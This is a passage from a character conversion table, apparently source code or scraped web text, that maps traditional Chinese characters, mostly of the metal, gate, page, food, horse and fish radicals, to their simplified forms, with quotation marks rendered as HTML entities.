&#39;鄶&#39;: &#39;郐&#39;, &#39;鄺&#39;: &#39;邝&#39;, &#39;酇&#39;: &#39;酂&#39;, &#39;酈&#39;: &#39;郦&#39;, &#39;醖&#39;: &#39;酝&#39;, &#39;醜&#39;: &#39;丑&#39;, &#39;醞&#39;: &#39;酝&#39;, &#39;醫&#39;: &#39;医&#39;, &#39;醬&#39;: &#39;酱&#39;, &#39;醱&#39;: &#39;酦&#39;, &#39;釀&#39;: &#39;酿&#39;, &#39;釁&#39;: &#39;衅&#39;, &#39;釃&#39;: &#39;酾&#39;, &#39;釅&#39;: &#39;酽&#39;, &#39;采&#39;: &#39;采&#39;, &#39;釋&#39;: &#39;释&#39;, &#39;釐&#39;: &#39;厘&#39;, &#39;釒&#39;: &#39;钅&#39;, &#39;釓&#39;: &#39;钆&#39;, &#39;釔&#39;: &#39;钇&#39;, &#39;釕&#39;: &#39;钌&#39;, &#39;釗&#39;: &#39;钊&#39;, &#39;釘&#39;: &#39;钉&#39;, &#39;釙&#39;: &#39;钋&#39;, &#39;針&#39;: &#39;针&#39;, &#39;釣&#39;: &#39;钓&#39;, &#39;釤&#39;: &#39;钐&#39;, &#39;釧&#39;: &#39;钏&#39;, &#39;釩&#39;: &#39;钒&#39;, &#39;釵&#39;: &#39;钗&#39;, &#39;釷&#39;: &#39;钍&#39;, &#39;釹&#39;: &#39;钕&#39;, &#39;釺&#39;: &#39;钎&#39;, &#39;鈀&#39;: &#39;钯&#39;, &#39;鈁&#39;: &#39;钫&#39;, &#39;鈃&#39;: &#39;钘&#39;, &#39;鈄&#39;: &#39;钭&#39;, &#39;鈈&#39;: &#39;钚&#39;, &#39;鈉&#39;: &#39;钠&#39;, &#39;鈍&#39;: &#39;钝&#39;, &#39;鈎&#39;: &#39;钩&#39;, &#39;鈐&#39;: &#39;钤&#39;, &#39;鈑&#39;: &#39;钣&#39;, &#39;鈒&#39;: &#39;钑&#39;, &#39;鈔&#39;: &#39;钞&#39;, &#39;鈕&#39;: &#39;钮&#39;, &#39;鈞&#39;: &#39;钧&#39;, &#39;鈣&#39;: &#39;钙&#39;, &#39;鈥&#39;: &#39;钬&#39;, &#39;鈦&#39;: &#39;钛&#39;, &#39;鈧&#39;: &#39;钪&#39;, &#39;鈮&#39;: &#39;铌&#39;, &#39;鈰&#39;: &#39;铈&#39;, &#39;鈳&#39;: &#39;钶&#39;, &#39;鈴&#39;: &#39;铃&#39;, &#39;鈷&#39;: &#39;钴&#39;, &#39;鈸&#39;: &#39;钹&#39;, &#39;鈹&#39;: &#39;铍&#39;, &#39;鈺&#39;: &#39;钰&#39;, &#39;鈽&#39;: &#39;钸&#39;, &#39;鈾&#39;: &#39;铀&#39;, &#39;鈿&#39;: &#39;钿&#39;, &#39;鉀&#39;: &#39;钾&#39;, &#39;鉅&#39;: &#39;钜&#39;, &#39;鉈&#39;: &#39;铊&#39;, &#39;鉉&#39;: &#39;铉&#39;, &#39;鉋&#39;: &#39;铇&#39;, &#39;鉍&#39;: &#39;铋&#39;, &#39;鉑&#39;: &#39;铂&#39;, &#39;鉕&#39;: &#39;钷&#39;, &#39;鉗&#39;: &#39;钳&#39;, &#39;鉚&#39;: &#39;铆&#39;, &#39;鉛&#39;: &#39;铅&#39;, &#39;鉞&#39;: &#39;钺&#39;, &#39;鉢&#39;: &#39;钵&#39;, &#39;鉤&#39;: &#39;钩&#39;, &#39;鉦&#39;: &#39;钲&#39;, &#39;鉬&#39;: &#39;钼&#39;, &#39;鉭&#39;: &#39;钽&#39;, &#39;鉶&#39;: &#39;铏&#39;, &#39;鉸&#39;: &#39;铰&#39;, &#39;鉺&#39;: &#39;铒&#39;, &#39;鉻&#39;: &#39;铬&#39;, &#39;鉿&#39;: &#39;铪&#39;, &#39;銀&#39;: &#39;银&#39;, &#39;銃&#39;: &#39;铳&#39;, &#39;銅&#39;: &#39;铜&#39;, &#39;銍&#39;: &#39;铚&#39;, &#39;銑&#39;: &#39;铣&#39;, &#39;銓&#39;: &#39;铨&#39;, &#39;銖&#39;: &#39;铢&#39;, &#39;銘&#39;: &#39;铭&#39;, &#39;銚&#39;: &#39;铫&#39;, &#39;銛&#39;: &#39;铦&#39;, &#39;銜&#39;: &#39;衔&#39;, &#39;銠&#39;: &#39;铑&#39;, &#39;銣&#39;: &#39;铷&#39;, &#39;銥&#39;: &#39;铱&#39;, &#39;銦&#39;: &#39;铟&#39;, &#39;銨&#39;: &#39;铵&#39;, &#39;銩&#39;: &#39;铥&#39;, &#39;銪&#39;: &#39;铕&#39;, &#39;銫&#39;: &#39;铯&#39;, &#39;銬&#39;: &#39;铐&#39;, &#39;銱&#39;: &#39;铞&#39;, &#39;銳&#39;: &#39;锐&#39;, &#39;銷&#39;: &#39;销&#39;, &#39;銹&#39;: &#39;锈&#39;, &#39;銻&#39;: &#39;锑&#39;, &#39;銼&#39;: &#39;锉&#39;, &#39;鋁&#39;: &#39;铝&#39;, &#39;鋃&#39;: &#39;锒&#39;, &#39;鋅&#39;: &#39;锌&#39;, &#39;鋇&#39;: &#39;钡&#39;, &#39;鋌&#39;: &#39;铤&#39;, &#39;鋏&#39;: &#39;铗&#39;, &#39;鋒&#39;: &#39;锋&#39;, &#39;鋙&#39;: &#39;铻&#39;, &#39;鋝&#39;: &#39;锊&#39;, &#39;鋟&#39;: &#39;锓&#39;, &#39;鋣&#39;: &#39;铘&#39;, &#39;鋤&#39;: &#39;锄&#39;, &#39;鋥&#39;: &#39;锃&#39;, &#39;鋦&#39;: &#39;锔&#39;, &#39;鋨&#39;: &#39;锇&#39;, &#39;鋩&#39;: &#39;铓&#39;, &#39;鋪&#39;: &#39;铺&#39;, &#39;鋭&#39;: &#39;锐&#39;, &#39;鋮&#39;: &#39;铖&#39;, &#39;鋯&#39;: &#39;锆&#39;, &#39;鋰&#39;: &#39;锂&#39;, &#39;鋱&#39;: &#39;铽&#39;, &#39;鋶&#39;: &#39;锍&#39;, &#39;鋸&#39;: &#39;锯&#39;, &#39;鋼&#39;: &#39;钢&#39;, &#39;錁&#39;: &#39;锞&#39;, &#39;錄&#39;: &#39;录&#39;, &#39;錆&#39;: &#39;锖&#39;, &#39;錇&#39;: &#39;锫&#39;, &#39;錈&#39;: &#39;锩&#39;, &#39;錏&#39;: &#39;铔&#39;, &#39;錐&#39;: &#39;锥&#39;, &#39;錒&#39;: &#39;锕&#39;, &#39;錕&#39;: &#39;锟&#39;, &#39;錘&#39;: &#39;锤&#39;, &#39;錙&#39;: &#39;锱&#39;, &#39;錚&#39;: &#39;铮&#39;, &#39;錛&#39;: &#39;锛&#39;, &#39;錟&#39;: &#39;锬&#39;, &#39;錠&#39;: &#39;锭&#39;, &#39;錡&#39;: &#39;锜&#39;, &#39;錢&#39;: &#39;钱&#39;, &#39;錦&#39;: &#39;锦&#39;, &#39;錨&#39;: &#39;锚&#39;, &#39;錩&#39;: &#39;锠&#39;, &#39;錫&#39;: &#39;锡&#39;, &#39;錮&#39;: &#39;锢&#39;, &#39;錯&#39;: &#39;错&#39;, &#39;録&#39;: &#39;录&#39;, &#39;錳&#39;: &#39;锰&#39;, &#39;錶&#39;: &#39;表&#39;, &#39;錸&#39;: &#39;铼&#39;, &#39;鍀&#39;: &#39;锝&#39;, &#39;鍁&#39;: &#39;锨&#39;, &#39;鍃&#39;: &#39;锪&#39;, &#39;鍆&#39;: &#39;钔&#39;, &#39;鍇&#39;: &#39;锴&#39;, &#39;鍈&#39;: &#39;锳&#39;, &#39;鍋&#39;: &#39;锅&#39;, &#39;鍍&#39;: &#39;镀&#39;, &#39;鍔&#39;: &#39;锷&#39;, &#39;鍘&#39;: &#39;铡&#39;, &#39;鍚&#39;: &#39;钖&#39;, &#39;鍛&#39;: &#39;锻&#39;, &#39;鍠&#39;: &#39;锽&#39;, &#39;鍤&#39;: &#39;锸&#39;, &#39;鍥&#39;: &#39;锲&#39;, &#39;鍩&#39;: &#39;锘&#39;, &#39;鍬&#39;: &#39;锹&#39;, &#39;鍰&#39;: &#39;锾&#39;, &#39;鍵&#39;: &#39;键&#39;, &#39;鍶&#39;: &#39;锶&#39;, &#39;鍺&#39;: &#39;锗&#39;, &#39;鎂&#39;: &#39;镁&#39;, &#39;鎄&#39;: &#39;锿&#39;, &#39;鎇&#39;: &#39;镅&#39;, &#39;鎊&#39;: &#39;镑&#39;, &#39;鎔&#39;: &#39;镕&#39;, &#39;鎖&#39;: &#39;锁&#39;, &#39;鎘&#39;: &#39;镉&#39;, &#39;鎚&#39;: &#39;锤&#39;, &#39;鎛&#39;: &#39;镈&#39;, &#39;鎝&#39;: &#39;𨱏&#39;, &#39;鎡&#39;: &#39;镃&#39;, &#39;鎢&#39;: &#39;钨&#39;, &#39;鎣&#39;: &#39;蓥&#39;, &#39;鎦&#39;: &#39;镏&#39;, &#39;鎧&#39;: &#39;铠&#39;, &#39;鎩&#39;: &#39;铩&#39;, &#39;鎪&#39;: &#39;锼&#39;, &#39;鎬&#39;: &#39;镐&#39;, &#39;鎮&#39;: &#39;镇&#39;, &#39;鎰&#39;: &#39;镒&#39;, &#39;鎲&#39;: &#39;镋&#39;, &#39;鎳&#39;: &#39;镍&#39;, &#39;鎵&#39;: &#39;镓&#39;, &#39;鎸&#39;: &#39;镌&#39;, &#39;鎿&#39;: &#39;镎&#39;, &#39;鏃&#39;: &#39;镞&#39;, &#39;鏇&#39;: &#39;镟&#39;, &#39;鏈&#39;: &#39;链&#39;, &#39;鏌&#39;: &#39;镆&#39;, &#39;鏍&#39;: &#39;镙&#39;, &#39;鏐&#39;: &#39;镠&#39;, &#39;鏑&#39;: &#39;镝&#39;, &#39;鏗&#39;: &#39;铿&#39;, &#39;鏘&#39;: &#39;锵&#39;, &#39;鏜&#39;: &#39;镗&#39;, &#39;鏝&#39;: &#39;镘&#39;, &#39;鏞&#39;: &#39;镛&#39;, &#39;鏟&#39;: &#39;铲&#39;, &#39;鏡&#39;: &#39;镜&#39;, &#39;鏢&#39;: &#39;镖&#39;, &#39;鏤&#39;: &#39;镂&#39;, &#39;鏨&#39;: &#39;錾&#39;, &#39;鏰&#39;: &#39;镚&#39;, &#39;鏵&#39;: &#39;铧&#39;, &#39;鏷&#39;: &#39;镤&#39;, &#39;鏹&#39;: &#39;镪&#39;, &#39;鏽&#39;: &#39;锈&#39;, &#39;鐃&#39;: &#39;铙&#39;, &#39;鐋&#39;: &#39;铴&#39;, &#39;鐐&#39;: &#39;镣&#39;, &#39;鐒&#39;: &#39;铹&#39;, &#39;鐓&#39;: &#39;镦&#39;, &#39;鐔&#39;: &#39;镡&#39;, &#39;鐘&#39;: &#39;钟&#39;, &#39;鐙&#39;: &#39;镫&#39;, &#39;鐝&#39;: &#39;镢&#39;, &#39;鐠&#39;: &#39;镨&#39;, &#39;鐦&#39;: &#39;锎&#39;, &#39;鐧&#39;: &#39;锏&#39;, &#39;鐨&#39;: &#39;镄&#39;, &#39;鐫&#39;: &#39;镌&#39;, &#39;鐮&#39;: &#39;镰&#39;, &#39;鐲&#39;: &#39;镯&#39;, &#39;鐳&#39;: &#39;镭&#39;, &#39;鐵&#39;: &#39;铁&#39;, &#39;鐶&#39;: &#39;镮&#39;, &#39;鐸&#39;: &#39;铎&#39;, &#39;鐺&#39;: &#39;铛&#39;, &#39;鐿&#39;: &#39;镱&#39;, &#39;鑄&#39;: &#39;铸&#39;, &#39;鑊&#39;: &#39;镬&#39;, &#39;鑌&#39;: &#39;镔&#39;, &#39;鑒&#39;: &#39;鉴&#39;, &#39;鑔&#39;: &#39;镲&#39;, &#39;鑕&#39;: &#39;锧&#39;, &#39;鑞&#39;: &#39;镴&#39;, &#39;鑠&#39;: &#39;铄&#39;, &#39;鑣&#39;: &#39;镳&#39;, &#39;鑥&#39;: &#39;镥&#39;, &#39;鑭&#39;: &#39;镧&#39;, &#39;鑰&#39;: &#39;钥&#39;, &#39;鑱&#39;: &#39;镵&#39;, &#39;鑲&#39;: &#39;镶&#39;, &#39;鑷&#39;: &#39;镊&#39;, &#39;鑹&#39;: &#39;镩&#39;, &#39;鑼&#39;: &#39;锣&#39;, &#39;鑽&#39;: &#39;钻&#39;, &#39;鑾&#39;: &#39;銮&#39;, &#39;鑿&#39;: &#39;凿&#39;, &#39;钁&#39;: &#39;镢&#39;, &#39;镟&#39;: &#39;旋&#39;, &#39;長&#39;: &#39;长&#39;, &#39;門&#39;: &#39;门&#39;, &#39;閂&#39;: &#39;闩&#39;, &#39;閃&#39;: &#39;闪&#39;, &#39;閆&#39;: &#39;闫&#39;, &#39;閈&#39;: &#39;闬&#39;, &#39;閉&#39;: &#39;闭&#39;, &#39;開&#39;: &#39;开&#39;, &#39;閌&#39;: &#39;闶&#39;, &#39;閎&#39;: &#39;闳&#39;, &#39;閏&#39;: &#39;闰&#39;, &#39;閑&#39;: &#39;闲&#39;, &#39;間&#39;: &#39;间&#39;, &#39;閔&#39;: &#39;闵&#39;, &#39;閘&#39;: &#39;闸&#39;, &#39;閡&#39;: &#39;阂&#39;, &#39;閣&#39;: &#39;阁&#39;, &#39;閤&#39;: &#39;合&#39;, &#39;閥&#39;: &#39;阀&#39;, &#39;閨&#39;: &#39;闺&#39;, &#39;閩&#39;: &#39;闽&#39;, &#39;閫&#39;: &#39;阃&#39;, &#39;閬&#39;: &#39;阆&#39;, &#39;閭&#39;: &#39;闾&#39;, &#39;閱&#39;: &#39;阅&#39;, &#39;閲&#39;: &#39;阅&#39;, &#39;閶&#39;: &#39;阊&#39;, &#39;閹&#39;: &#39;阉&#39;, &#39;閻&#39;: &#39;阎&#39;, &#39;閼&#39;: &#39;阏&#39;, &#39;閽&#39;: &#39;阍&#39;, &#39;閾&#39;: &#39;阈&#39;, &#39;閿&#39;: &#39;阌&#39;, &#39;闃&#39;: &#39;阒&#39;, &#39;闆&#39;: &#39;板&#39;, &#39;闈&#39;: &#39;闱&#39;, &#39;闊&#39;: &#39;阔&#39;, &#39;闋&#39;: &#39;阕&#39;, &#39;闌&#39;: &#39;阑&#39;, &#39;闍&#39;: &#39;阇&#39;, &#39;闐&#39;: &#39;阗&#39;, &#39;闒&#39;: &#39;阘&#39;, &#39;闓&#39;: &#39;闿&#39;, &#39;闔&#39;: &#39;阖&#39;, &#39;闕&#39;: &#39;阙&#39;, &#39;闖&#39;: &#39;闯&#39;, &#39;關&#39;: &#39;关&#39;, &#39;闞&#39;: &#39;阚&#39;, &#39;闠&#39;: &#39;阓&#39;, &#39;闡&#39;: &#39;阐&#39;, &#39;闤&#39;: &#39;阛&#39;, &#39;闥&#39;: &#39;闼&#39;, &#39;阪&#39;: &#39;坂&#39;, &#39;陘&#39;: &#39;陉&#39;, &#39;陝&#39;: &#39;陕&#39;, &#39;陣&#39;: &#39;阵&#39;, &#39;陰&#39;: &#39;阴&#39;, &#39;陳&#39;: &#39;陈&#39;, &#39;陸&#39;: &#39;陆&#39;, &#39;陽&#39;: &#39;阳&#39;, &#39;隉&#39;: &#39;陧&#39;, &#39;隊&#39;: &#39;队&#39;, &#39;階&#39;: &#39;阶&#39;, &#39;隕&#39;: &#39;陨&#39;, &#39;際&#39;: &#39;际&#39;, &#39;隨&#39;: &#39;随&#39;, &#39;險&#39;: &#39;险&#39;, &#39;隱&#39;: &#39;隐&#39;, &#39;隴&#39;: &#39;陇&#39;, &#39;隸&#39;: &#39;隶&#39;, &#39;隻&#39;: &#39;只&#39;, &#39;雋&#39;: &#39;隽&#39;, &#39;雖&#39;: &#39;虽&#39;, &#39;雙&#39;: &#39;双&#39;, &#39;雛&#39;: &#39;雏&#39;, &#39;雜&#39;: &#39;杂&#39;, &#39;雞&#39;: &#39;鸡&#39;, &#39;離&#39;: &#39;离&#39;, &#39;難&#39;: &#39;难&#39;, &#39;雲&#39;: &#39;云&#39;, &#39;電&#39;: &#39;电&#39;, &#39;霢&#39;: &#39;霡&#39;, &#39;霧&#39;: &#39;雾&#39;, &#39;霽&#39;: &#39;霁&#39;, &#39;靂&#39;: &#39;雳&#39;, &#39;靄&#39;: &#39;霭&#39;, &#39;靈&#39;: &#39;灵&#39;, &#39;靚&#39;: &#39;靓&#39;, &#39;靜&#39;: &#39;静&#39;, &#39;靨&#39;: &#39;靥&#39;, &#39;鞀&#39;: &#39;鼗&#39;, &#39;鞏&#39;: &#39;巩&#39;, &#39;鞝&#39;: &#39;绱&#39;, &#39;鞦&#39;: &#39;秋&#39;, &#39;鞽&#39;: &#39;鞒&#39;, &#39;韁&#39;: &#39;缰&#39;, &#39;韃&#39;: &#39;鞑&#39;, &#39;韆&#39;: &#39;千&#39;, &#39;韉&#39;: &#39;鞯&#39;, &#39;韋&#39;: &#39;韦&#39;, &#39;韌&#39;: &#39;韧&#39;, &#39;韍&#39;: &#39;韨&#39;, &#39;韓&#39;: &#39;韩&#39;, &#39;韙&#39;: &#39;韪&#39;, &#39;韜&#39;: &#39;韬&#39;, &#39;韞&#39;: &#39;韫&#39;, &#39;韻&#39;: &#39;韵&#39;, &#39;響&#39;: &#39;响&#39;, &#39;頁&#39;: &#39;页&#39;, &#39;頂&#39;: &#39;顶&#39;, &#39;頃&#39;: &#39;顷&#39;, &#39;項&#39;: &#39;项&#39;, &#39;順&#39;: &#39;顺&#39;, &#39;頇&#39;: &#39;顸&#39;, &#39;須&#39;: &#39;须&#39;, &#39;頊&#39;: &#39;顼&#39;, &#39;頌&#39;: &#39;颂&#39;, &#39;頎&#39;: &#39;颀&#39;, &#39;頏&#39;: &#39;颃&#39;, &#39;預&#39;: &#39;预&#39;, &#39;頑&#39;: &#39;顽&#39;, &#39;頒&#39;: &#39;颁&#39;, &#39;頓&#39;: &#39;顿&#39;, &#39;頗&#39;: &#39;颇&#39;, &#39;領&#39;: &#39;领&#39;, &#39;頜&#39;: &#39;颌&#39;, &#39;頡&#39;: &#39;颉&#39;, &#39;頤&#39;: &#39;颐&#39;, &#39;頦&#39;: &#39;颏&#39;, &#39;頭&#39;: &#39;头&#39;, &#39;頮&#39;: &#39;颒&#39;, &#39;頰&#39;: &#39;颊&#39;, &#39;頲&#39;: &#39;颋&#39;, &#39;頴&#39;: &#39;颕&#39;, &#39;頷&#39;: &#39;颔&#39;, &#39;頸&#39;: &#39;颈&#39;, &#39;頹&#39;: &#39;颓&#39;, &#39;頻&#39;: &#39;频&#39;, &#39;頽&#39;: &#39;颓&#39;, &#39;顆&#39;: &#39;颗&#39;, &#39;題&#39;: &#39;题&#39;, &#39;額&#39;: &#39;额&#39;, &#39;顎&#39;: &#39;颚&#39;, &#39;顏&#39;: &#39;颜&#39;, &#39;顒&#39;: &#39;颙&#39;, &#39;顓&#39;: &#39;颛&#39;, &#39;顔&#39;: &#39;颜&#39;, &#39;願&#39;: &#39;愿&#39;, &#39;顙&#39;: &#39;颡&#39;, &#39;顛&#39;: &#39;颠&#39;, &#39;類&#39;: &#39;类&#39;, &#39;顢&#39;: &#39;颟&#39;, &#39;顥&#39;: &#39;颢&#39;, &#39;顧&#39;: &#39;顾&#39;, &#39;顫&#39;: &#39;颤&#39;, &#39;顬&#39;: &#39;颥&#39;, &#39;顯&#39;: &#39;显&#39;, &#39;顰&#39;: &#39;颦&#39;, &#39;顱&#39;: &#39;颅&#39;, &#39;顳&#39;: &#39;颞&#39;, &#39;顴&#39;: &#39;颧&#39;, &#39;風&#39;: &#39;风&#39;, &#39;颭&#39;: &#39;飐&#39;, &#39;颮&#39;: &#39;飑&#39;, &#39;颯&#39;: &#39;飒&#39;, &#39;颱&#39;: &#39;台&#39;, &#39;颳&#39;: &#39;刮&#39;, &#39;颶&#39;: &#39;飓&#39;, &#39;颸&#39;: &#39;飔&#39;, &#39;颺&#39;: &#39;飏&#39;, &#39;颻&#39;: &#39;飖&#39;, &#39;颼&#39;: &#39;飕&#39;, &#39;飀&#39;: &#39;飗&#39;, &#39;飄&#39;: &#39;飘&#39;, &#39;飆&#39;: &#39;飙&#39;, &#39;飈&#39;: &#39;飚&#39;, &#39;飛&#39;: &#39;飞&#39;, &#39;飠&#39;: &#39;饣&#39;, &#39;飢&#39;: &#39;饥&#39;, &#39;飣&#39;: &#39;饤&#39;, &#39;飥&#39;: &#39;饦&#39;, &#39;飩&#39;: &#39;饨&#39;, &#39;飪&#39;: &#39;饪&#39;, &#39;飫&#39;: &#39;饫&#39;, &#39;飭&#39;: &#39;饬&#39;, &#39;飯&#39;: &#39;饭&#39;, &#39;飲&#39;: &#39;饮&#39;, &#39;飴&#39;: &#39;饴&#39;, &#39;飼&#39;: &#39;饲&#39;, &#39;飽&#39;: &#39;饱&#39;, &#39;飾&#39;: &#39;饰&#39;, &#39;飿&#39;: &#39;饳&#39;, &#39;餃&#39;: &#39;饺&#39;, &#39;餄&#39;: &#39;饸&#39;, &#39;餅&#39;: &#39;饼&#39;, &#39;餉&#39;: &#39;饷&#39;, &#39;養&#39;: &#39;养&#39;, &#39;餌&#39;: &#39;饵&#39;, &#39;餎&#39;: &#39;饹&#39;, &#39;餏&#39;: &#39;饻&#39;, &#39;餑&#39;: &#39;饽&#39;, &#39;餒&#39;: &#39;馁&#39;, &#39;餓&#39;: &#39;饿&#39;, &#39;餕&#39;: &#39;馂&#39;, &#39;餖&#39;: &#39;饾&#39;, &#39;餚&#39;: &#39;肴&#39;, &#39;餛&#39;: &#39;馄&#39;, &#39;餜&#39;: &#39;馃&#39;, &#39;餞&#39;: &#39;饯&#39;, &#39;餡&#39;: &#39;馅&#39;, &#39;館&#39;: &#39;馆&#39;, &#39;餱&#39;: &#39;糇&#39;, &#39;餳&#39;: &#39;饧&#39;, &#39;餶&#39;: &#39;馉&#39;, &#39;餷&#39;: &#39;馇&#39;, &#39;餺&#39;: &#39;馎&#39;, &#39;餼&#39;: &#39;饩&#39;, &#39;餾&#39;: &#39;馏&#39;, &#39;餿&#39;: &#39;馊&#39;, &#39;饁&#39;: &#39;馌&#39;, &#39;饃&#39;: &#39;馍&#39;, &#39;饅&#39;: &#39;馒&#39;, &#39;饈&#39;: &#39;馐&#39;, &#39;饉&#39;: &#39;馑&#39;, &#39;饊&#39;: &#39;馓&#39;, &#39;饋&#39;: &#39;馈&#39;, &#39;饌&#39;: &#39;馔&#39;, &#39;饑&#39;: &#39;饥&#39;, &#39;饒&#39;: &#39;饶&#39;, &#39;饗&#39;: &#39;飨&#39;, &#39;饜&#39;: &#39;餍&#39;, &#39;饞&#39;: &#39;馋&#39;, &#39;饢&#39;: &#39;馕&#39;, &#39;馬&#39;: &#39;马&#39;, &#39;馭&#39;: &#39;驭&#39;, &#39;馮&#39;: &#39;冯&#39;, &#39;馱&#39;: &#39;驮&#39;, &#39;馳&#39;: &#39;驰&#39;, &#39;馴&#39;: &#39;驯&#39;, &#39;馹&#39;: &#39;驲&#39;, &#39;駁&#39;: &#39;驳&#39;, &#39;駐&#39;: &#39;驻&#39;, &#39;駑&#39;: &#39;驽&#39;, &#39;駒&#39;: &#39;驹&#39;, &#39;駔&#39;: &#39;驵&#39;, &#39;駕&#39;: &#39;驾&#39;, &#39;駘&#39;: &#39;骀&#39;, &#39;駙&#39;: &#39;驸&#39;, &#39;駛&#39;: &#39;驶&#39;, &#39;駝&#39;: &#39;驼&#39;, &#39;駟&#39;: &#39;驷&#39;, &#39;駡&#39;: &#39;骂&#39;, &#39;駢&#39;: &#39;骈&#39;, &#39;駭&#39;: &#39;骇&#39;, &#39;駰&#39;: &#39;骃&#39;, &#39;駱&#39;: &#39;骆&#39;, &#39;駸&#39;: &#39;骎&#39;, &#39;駿&#39;: &#39;骏&#39;, &#39;騁&#39;: &#39;骋&#39;, &#39;騂&#39;: &#39;骍&#39;, &#39;騅&#39;: &#39;骓&#39;, &#39;騌&#39;: &#39;骔&#39;, &#39;騍&#39;: &#39;骒&#39;, &#39;騎&#39;: &#39;骑&#39;, &#39;騏&#39;: &#39;骐&#39;, &#39;騖&#39;: &#39;骛&#39;, &#39;騙&#39;: &#39;骗&#39;, &#39;騤&#39;: &#39;骙&#39;, &#39;騧&#39;: &#39;䯄&#39;, &#39;騫&#39;: &#39;骞&#39;, &#39;騭&#39;: &#39;骘&#39;, &#39;騮&#39;: &#39;骝&#39;, &#39;騰&#39;: &#39;腾&#39;, &#39;騶&#39;: &#39;驺&#39;, &#39;騷&#39;: &#39;骚&#39;, &#39;騸&#39;: &#39;骟&#39;, &#39;騾&#39;: &#39;骡&#39;, &#39;驀&#39;: &#39;蓦&#39;, &#39;驁&#39;: &#39;骜&#39;, &#39;驂&#39;: &#39;骖&#39;, &#39;驃&#39;: &#39;骠&#39;, &#39;驄&#39;: &#39;骢&#39;, &#39;驅&#39;: &#39;驱&#39;, &#39;驊&#39;: &#39;骅&#39;, &#39;驌&#39;: &#39;骕&#39;, &#39;驍&#39;: &#39;骁&#39;, &#39;驏&#39;: &#39;骣&#39;, &#39;驕&#39;: &#39;骄&#39;, &#39;驗&#39;: &#39;验&#39;, &#39;驚&#39;: &#39;惊&#39;, &#39;驛&#39;: &#39;驿&#39;, &#39;驟&#39;: &#39;骤&#39;, &#39;驢&#39;: &#39;驴&#39;, &#39;驤&#39;: &#39;骧&#39;, &#39;驥&#39;: &#39;骥&#39;, &#39;驦&#39;: &#39;骦&#39;, &#39;驪&#39;: &#39;骊&#39;, &#39;驫&#39;: &#39;骉&#39;, &#39;骯&#39;: &#39;肮&#39;, &#39;髏&#39;: &#39;髅&#39;, &#39;髒&#39;: &#39;脏&#39;, &#39;體&#39;: &#39;体&#39;, &#39;髕&#39;: &#39;髌&#39;, &#39;髖&#39;: &#39;髋&#39;, &#39;髮&#39;: &#39;发&#39;, &#39;鬆&#39;: &#39;松&#39;, &#39;鬍&#39;: &#39;胡&#39;, &#39;鬚&#39;: &#39;须&#39;, &#39;鬢&#39;: &#39;鬓&#39;, &#39;鬥&#39;: &#39;斗&#39;, &#39;鬧&#39;: &#39;闹&#39;, &#39;鬩&#39;: &#39;阋&#39;, &#39;鬮&#39;: &#39;阄&#39;, &#39;鬱&#39;: &#39;郁&#39;, &#39;魎&#39;: &#39;魉&#39;, &#39;魘&#39;: &#39;魇&#39;, &#39;魚&#39;: &#39;鱼&#39;, &#39;魛&#39;: &#39;鱽&#39;, &#39;魢&#39;: &#39;鱾&#39;, &#39;魨&#39;: &#39;鲀&#39;, &#39;魯&#39;: &#39;鲁&#39;, &#39;魴&#39;: &#39;鲂&#39;, &#39;魷&#39;: &#39;鱿&#39;, &#39;魺&#39;: &#39;鲄&#39;, &#39;鮁&#39;: &#39;鲅&#39;, &#39;鮃&#39;: &#39;鲆&#39;, &#39;鮊&#39;: &#39;鲌&#39;, &#39;鮋&#39;: &#39;鲉&#39;, &#39;鮍&#39;: &#39;鲏&#39;, &#39;鮎&#39;: &#39;鲇&#39;, &#39;鮐&#39;: &#39;鲐&#39;, &#39;鮑&#39;: &#39;鲍&#39;, &#39;鮒&#39;: &#39;鲋&#39;, &#39;鮓&#39;: &#39;鲊&#39;, &#39;鮚&#39;: &#39;鲒&#39;, &#39;鮜&#39;: &#39;鲘&#39;, &#39;鮝&#39;: &#39;鲞&#39;, &#39;鮞&#39;: &#39;鲕&#39;, &#39;鮦&#39;: &#39;鲖&#39;, &#39;鮪&#39;: &#39;鲔&#39;, &#39;鮫&#39;: &#39;鲛&#39;, &#39;鮭&#39;: &#39;鲑&#39;, &#39;鮮&#39;: &#39;鲜&#39;, &#39;鮳&#39;: &#39;鲓&#39;, &#39;鮶&#39;: &#39;鲪&#39;, &#39;鮺&#39;: &#39;鲝&#39;, &#39;鯀&#39;: &#39;鲧&#39;, &#39;鯁&#39;: &#39;鲠&#39;, &#39;鯇&#39;: &#39;鲩&#39;, &#39;鯉&#39;: &#39;鲤&#39;, &#39;鯊&#39;: &#39;鲨&#39;, &#39;鯒&#39;: &#39;鲬&#39;, &#39;鯔&#39;: &#39;鲻&#39;, &#39;鯕&#39;: &#39;鲯&#39;, &#39;鯖&#39;: &#39;鲭&#39;, &#39;鯗&#39;: &#39;鲞&#39;, &#39;鯛&#39;: &#39;鲷&#39;, &#39;鯝&#39;: &#39;鲴&#39;, &#39;鯡&#39;: &#39;鲱&#39;, &#39;鯢&#39;: &#39;鲵&#39;, &#39;鯤&#39;: &#39;鲲&#39;, &#39;鯧&#39;: &#39;鲳&#39;, &#39;鯨&#39;: &#39;鲸&#39;, &#39;鯪&#39;: &#39;鲮&#39;, &#39;鯫&#39;: &#39;鲰&#39;, &#39;鯴&#39;: &#39;鲺&#39;, &#39;鯷&#39;: &#39;鳀&#39;, &#39;鯽&#39;: &#39;鲫&#39;, &#39;鯿&#39;: &#39;鳊&#39;, &#39;鰁&#39;: &#39;鳈&#39;, &#39;鰂&#39;: &#39;鲗&#39;, &#39;鰃&#39;: &#39;鳂&#39;, &#39;鰈&#39;: &#39;鲽&#39;, &#39;鰉&#39;: &#39;鳇&#39;, &#39;鰍&#39;: &#39;鳅&#39;, &#39;鰏&#39;: &#39;鲾&#39;, &#39;鰐&#39;: &#39;鳄&#39;, &#39;鰒&#39;: &#39;鳆&#39;, &#39;鰓&#39;: &#39;鳃&#39;, &#39;鰜&#39;: &#39;鳒&#39;, &#39;鰟&#39;: &#39;鳑&#39;, &#39;鰠&#39;: &#39;鳋&#39;, &#39;鰣&#39;: &#39;鲥&#39;, &#39;鰥&#39;: &#39;鳏&#39;, &#39;鰨&#39;: &#39;鳎&#39;, &#39;鰩&#39;: &#39;鳐&#39;, &#39;鰭&#39;: &#39;鳍&#39;, &#39;鰮&#39;: &#39;鳁&#39;, &#39;鰱&#39;: &#39;鲢&#39;, &#39;鰲&#39;: &#39;鳌&#39;, &#39;鰳&#39;: &#39;鳓&#39;, &#39;鰵&#39;: &#39;鳘&#39;, &#39;鰷&#39;: &#39;鲦&#39;, &#39;鰹&#39;: &#39;鲣&#39;, &#39;鰺&#39;: 